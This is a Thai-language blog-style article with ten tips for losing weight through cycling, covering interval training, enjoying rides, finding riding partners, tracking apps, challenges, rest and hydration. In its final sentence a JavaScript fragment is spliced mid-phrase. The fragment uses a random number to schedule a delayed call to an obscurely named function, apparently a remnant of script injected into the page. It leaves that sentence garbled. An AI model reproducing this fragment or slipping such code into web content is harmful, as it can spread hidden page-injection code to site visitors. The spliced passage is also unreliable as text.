ถ้าเอาง่ายๆ เลยก็คือ burn แคลลอรี่ให้มากกว่าที่รับเข้าไป ฟังดูง่ายใช่มั้ยครับ เเต่ทำจริงนะยากกว่าที่พูด งั้นเราไปดูวิธีที่แบบ creative ทำให้คุณ burn เเคลลอรี่เเบบไม่รู้ตัวกันเลย
1. ฝึก Interval training หรือฝึกเเบบ intensive จะ burn แคลลอรี่มากกว่าวิธีทั่วไป การใช้ Heart rate ให้อยู่ในโซน 2 หรือ fat burning zone อาจจะไม่พอนะครับ
2. ปั่นให้สนุก อย่าคิดว่าคุณปั่นเพราะต้องการลดน้ำหนัก ยิ่งคุณรักการปั่นมากเท่าไหร คุณก็จะอยู่กับมันมากขึ้น ยิ่งปั่นมากยิ่ง burn มากครับ ลองจินตนาการว่ากำลังเเข่ง Tour De France ก็ได้ครับจะได้มีอารมณ์ร่วม ถ้าปั่นเพราะต้องลดน้ำหนัก ต้องลงต้องลง รับรองไปไม่ถึงฝั่งเเน่นอนครับ
3. ยินดีต้อนรับสู่โลกของจักรยาน คุณต้องเข้าสู่โลกของจักรยานครับ อ้าเเขนรับ Bike Cullture ไปเลยครับ จะเป็น Racer, Fixed gear, touring ก็ได้ ดีทั้งนั้นครับ ต้องอินกับวัฒนธรรมของจักรยาน เเล้วคุณจะรู้ว่าทำไมคนหลายคนจึงหลงรักจักรยานมากนัก
4. หาเพื่อน อย่าฉายเดียวครับ ไม่งั้นไม่สนุก การมีเพื่อนจะช่วยกระตุ้นให้มีกิจกรรมเยอะขึ้น ปั่นมากขึ้นเเละนานมากขึ้นครับ ลองดูตามร้านซ่อมหรือร้านขายจักรยานก็ได้รับรองว่าเจอเพื่อนเเน่นอน เผลอๆ เจอเนื้อคู้ด้วยนะ
5. ดาวน์โหลด App ครับ อย่างน้อยก็ลองใช้ Runtastic Road Bike App ครับ เป็นการเก็บสถิติตัวเอง เพื่อการพัฒนาตนเองว่าปั่นได้ไกลเเค่ไหน นานเเค่ไหน เเละสามารถเเชร์ให้เพื่อนๆ ดูได้ด้วย จะได้มีกำลังใจเวลาออกกำลังกาย
6. เพิ่มความท้าทายให้ตัวเอง ถ้าใช้เส้นทางเดิมเป็นประจำก็ลองทำเวลาให้ดีขึ้น หรือลองออกก๊วนไปปั่นนอกสถานที่ ปั่นเอาเเบบที่เค้าเเข่งกันเลยว่างั้น ทำสัปดาห์ละครั้งก็พอ มากไปเดียวจะ over training
7. ต้องเป็นพวก hardcore หรือ creative ไอเดียใหม่ๆ ดูบ้าง คุณต้องลองออกงานเเข่ง หรือกิจกรรมใหญ่ดูบ้าง ปั่นไปทำงานสักสัปดาห์หนึ่งก็ดีนะ
8. การพักผ่อนเเละการดื่มน้ำเป้นเรื่องสำคัญ ร่างกายเราจะมีการปรับตัวเพราะฉะนั้นเวลาพักผ่อนต้องมีการเปลี่ยนแปลงบ้าง ลองเข้านอนให้เร็วกว่าเดิมดู ดื่มน้ำให้มากขึ้นเเละเวลาออกกำลังการก็ควรพกน้ำไปด้วย อย่าปล่อยให้ขาดน้ำ
9. สร้างวันสำคัญ ลองปั่น 100 กิโลเพื่อฉลองวันเกิดตัวเองดู ทำอะไรที่พิเศษในวันที่สำคัญสักครั้งสองครั้งต่อปีก็ไม่เลวเลย
10. สร้างสุขนิสัย เชื่อได้ว่าเมื่อเราปั่นมาถึงจุดหนึ่งๆ เเล้ว มันก็จะเปลี่ยนเป็นนิสัยของเรา พยายามปั่นบ่อยๆ ในเส้นทางเดิมๆ ให้ติดเป้นนิสัย มันก็จะทำให้เราไม่ต้องใช้รถยนต์ไปเลย พยายามสร้างสรรค์กิจกรรมใหม่ๆ เพื่อเลี่ยงความจำเจ ก็ดีนะครับ
จักรยานเป็นกีฬาประเภท low impact และสามารถออกไปตัวเนื่องเป็นเวลานาน พยายามปั่นให้บ่อย สนุกกับมัน หาเพื่อนไปด้วย เเค่นีก็ Healthy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stay fit ได้ไม่ยากครับ
